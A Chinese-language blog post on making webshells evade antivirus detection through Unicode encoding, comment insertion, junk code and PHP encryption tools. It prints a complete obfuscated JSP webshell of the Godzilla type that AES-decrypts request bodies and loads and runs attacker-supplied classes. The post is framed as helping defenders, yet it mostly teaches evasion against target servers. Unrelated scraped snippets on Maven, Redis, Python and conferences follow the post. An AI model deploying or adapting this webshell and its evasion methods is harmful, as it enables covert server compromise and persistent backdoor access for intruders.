Webshell混淆免杀的一些思路

简介

为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。

混淆字符

混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jsp webshell示例。因为java是默认支持unicode编码的。

Java代码示例:

4f21c710e16b54a58293a7853924f602.jpeg

然后可以上传vt查杀可以看到还是会被挺多杀软识别的。

c841c324b7298a60ff317abfb67d7d86.jpeg

现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。

c3349f87e351b29a1bc6619061e1fb4d.jpeg aaafcbdd56f12147e033e400c81b393f.jpeg

利用注释

利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。

Java示例:

834f1f59e8f4d5d573830804f9e244a1.jpeg

然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。

7e235b46563db3e38438839539069bc6.jpeg a0c2f0896de7ee57ecec340fe17123e2.jpeg

值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用String s = "/*"; code...; String ss = "*/"; code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */ 中间的值认为是注释内容从而匹配恶意代码失败。

改变代码特征

改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替if else,用一些代替写法比如java中的int类型1 可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加任意无用垃圾代码等。

部分代码截图:

fc9e17edc8fa2e1fde62f33dda7d902e.jpeg bb2c5e5e236ba94bf16ad3405c3fbb13.jpeg

可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。

全部代码:

<%@ page import="java.io.InputStream" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.io.IOException" %><%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";class Register extends ClassLoader {public Register(ClassLoader username) {super(username);}public Class Query/*\u3333*/(byte[] password) {int len = password.length;String s1 = "/*";Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);String s2 = "*/";return aClass;}}public byte[] x(byte[] s, boolean m) {// 这行代码换了个顺序byte[] bs = xc.getBytes();try {String sss = "/*";String decode = "\u0041\u0045\u0053";Cipher c = Cipher.getInstance(decode);String ccc = "*/";// if代替了原本的三元表达式int flag = 0xAFFFF;if (m) {flag = 1;} else {flag = 2;}String acaw = "/*";c.init(flag, new SecretKeySpec(bs, decode));String ANANAWU = "*/";String string1 = "/*";byte[] bytes = c.doFinal(s);String string12 = "*/";return bytes;} catch (Exception e) {return null;}}public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {// 添加注释/*o.equls(null)*/int x = 10;int y = 20;// 这里有一些毫无意义的操作x = (x + y) * 2;y = x - y;String meaninglessString = "Hello, this is a meaningless string.";if (x > y) {x = x * 2;} else {y = y * 2;}String sss = "/*";o./*o.equls(null)*/equals/*o.equls(null)*/(bos);String ccc = "*/";o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);String ac = "//";o.toString/*o.equls(null)*/();}public void run2(byte[] data_bytes, HttpSession session) {String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";Register REG = new Register(this.getClass().getClassLoader());Class cs = REG.Query(data_bytes);session.setAttribute(py, cs);}public Object os_return(HttpSession session) {String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";return  session.getAttribute(py);}public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {byte[] x = x(bos.toByteArray(), true);os.write(x);}public void setAttribute(HttpServletRequest request, String key, Object value) {request.setAttribute(key, value);}public ByteArrayOutputStream getBos() {ByteArrayOutputStream arrOut = null;arrOut = new ByteArrayOutputStream();return arrOut;}
%><%try {String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";int length = Integer.valueOf/*o.equls(null)*/(header);byte[] data_bytes = new byte[/*o.equls(null)*/length];InputStream is = request.getInputStream();// for循环替代了while循环for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));// 原本的false变成了 !truedata_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);OutputStream os = response.getOutputStream();ByteArrayOutputStream bos = getBos();boolean flag = session.getAttribute(py) == null;if (flag) {run2(data_bytes, session);} else {setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);String s = "/*";Class cs = (Class) os_return(session);String c = "*/";Object f = (cs).newInstance();run(f, bos, pageContext);/* 垃圾代码 */int a = 10;int b = 20;for (int i = 0; i < 5; i++) {a += b;b -= a;}String meaninglessString = "This is a meaningless string.";int[] numbers = {1, 2, 3, 4, 5};for (int num : numbers) {if (num % 2 == 0) {// 不执行任何操作} else {// 不执行任何操作}}/* 垃圾代码 */pull(bos, os);}} catch (Exception e) {}
%>

免杀效果:

4435623008a60cdf4a81e9408e83f167.jpeg 15275233ae2c167c76641b94cc0c6206.jpeg

Ps: 以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。

利用代码加密工具

上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。

比如随便找一些php在线混淆哥斯拉的webshell

f6115af810d53401d9103ea7e4e373a0.jpeg

链接也是没有问题的

9e0de71682fc3bbfb6c99a7c13928cd0.jpeg

虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。

e4904e2e883defe9a6b662fd207ccee1.jpeg

经过3次混淆的phpwebshell,反正我是认不出来了。

d4c200d1e87407e77b3d4d73325bf1fd.jpeg 3d78701413c8e834de4c9c5fe2574dbe.jpeg

类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。

cf74989e163bc8a95447ab020a24db2d.jpeg

总结

文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

0a154b25298ff0fe24860dd3a99334ec.gif

参与靶场实战,戳"阅读原文"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/227741.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux 安装 mvn

mvn 下载地址&#xff1a;https://maven.apache.org/download.cgi 选择一个合适的版本 cd /opt && curl -o apache-maven-3.8.6-bin.tar.gz https://dlcdn.apache.org/maven/maven-3/3.8.6/binaries/apache-maven-3.8.6-bin.tar.gz tar -xzf apache-maven-3.8.6-bin.…

【EI会议投稿】第四届物联网与智慧城市国际学术会议(IoTSC 2024)

第四届物联网与智慧城市国际学术会议 2024 4th International Conference on Internet of Things and Smart City 继IoTSC前三届的成功举办&#xff0c;第四届物联网与智慧城市国际学术会议&#xff08;IoTSC 2024&#xff09;将于2024年3月22-24日在河南洛阳举办。 智慧城市的…

常见面试题-Redis 切片集群以及主节点选举机制

Redis 切片集群了解吗&#xff1f; 答&#xff1a; Redis 切片集群是目前使用比较多的方案&#xff0c;Redis 切面集群支持多个主从集群进行横向扩容&#xff0c;架构如下&#xff1a; 使用切片集群有什么好处&#xff1f; 提升 Redis 读写性能&#xff0c;之前的主从模式中&…

Python---lambda表达式

普通函数与匿名函数 在Python中&#xff0c;函数是一个被命名的、独立的完成特定功能的一段代码&#xff0c;并可能给调用它的程序一个返回值。 所以在Python中&#xff0c;函数大多数是有名函数 > 普通函数。但是有些情况下&#xff0c;我们为了简化程序代码&#xff0c;…

Android : Fragment 传递数据 — 简单应用

示例图&#xff1a; 创建 Fragment new -> Fragment -> Fragment&#xff08;Blank&#xff09; MainActivity.java package com.example.fragmentdemo;import androidx.appcompat.app.AppCompatActivity; import androidx.fragment.app.FragmentManager; import andro…

00.本地搭建 threejs 文档网站(网页版是外网比较慢)

three官网 https://threejs.org/ 下载代码 进入官网 可以选择github去下载 或者 下载压缩包 github 下载https链接地址 https://github.com/mrdoob/three.js.git git clone https://github.com/mrdoob/three.js.git安装依赖启动程序 安装依赖 npm i 或者 pnpm i 或者 …

GUI加分游戏

需求目标 这个简单的游戏窗口包含一个得分标签和一个按钮。每次点击按钮时&#xff0c;得分增加1&#xff0c;并更新得分标签的显示。 效果 源码 /*** author lwh* date 2023/11/28* description 这个简单的游戏窗口包含一个得分标签和一个按钮。每次点击按钮时&#xff0c;…

带残差连接的ResNet18

目录 1 模型构建 1.1 残差单元 1.2 残差网络的整体结构 2 没有残差连接的ResNet18 2.1 模型训练 2.2 模型评价 3 带残差连接的ResNet18 3.1 模型训练 3.2 模型评价 4 与高层API实现版本的对比实验 总结 残差网络&#xff08;Residual Network&#xff0c;ResNet&#xff09;…

YOLOv5算法进阶改进(5)— 主干网络中引入SCConv | 即插即用的空间和通道维度重构卷积

前言:Hello大家好,我是小哥谈。SCConv是一种用于减少特征冗余的卷积神经网络模块。相对于其他流行的SOTA方法,SCConv可以以更低的计算成本获得更高的准确率。它通过在空间和通道维度上进行重构,从而减少了特征图中的冗余信息。这种模块的设计可以提高卷积神经网络的性能。�…

使用STM32 HAL库驱动光电传感器的设计和优化

光电传感器在许多应用中起着重要的作用&#xff0c;例如自动计数、距离测量等。STM32微控制器和HAL库提供了丰富的功能和易于使用的接口&#xff0c;使得光电传感器的设计和优化变得更加便捷。本文将介绍如何使用STM32 HAL库驱动光电传感器的设计和优化&#xff0c;包括硬件设计…

【前端首屏加载速度优化(一) :nginx 开启gzip压缩】

开启gzip压缩前后对比&#xff1a; nginx.conf具体配置&#xff1a; server {# 启动后的端口listen 8882;# 开启gzip压缩gzip on;gzip_min_length 1k; gzip_buffers 4 16k; gzip_http_version 1.1; gzip_comp_level 6; gzip_types text/plain application/x-javascript…

链接1:编译器驱动程序

文章目录 GNU编译器示例编译 GNU编译器 GNU编译器&#xff08;GNU Compiler&#xff09;是由自由软件基金会&#xff08;Free Software Foundation&#xff0c;FSF&#xff09;开发和维护的一套编译器集合。这些编译器主要用于编译各种编程语言的源代码&#xff0c;将其转换为…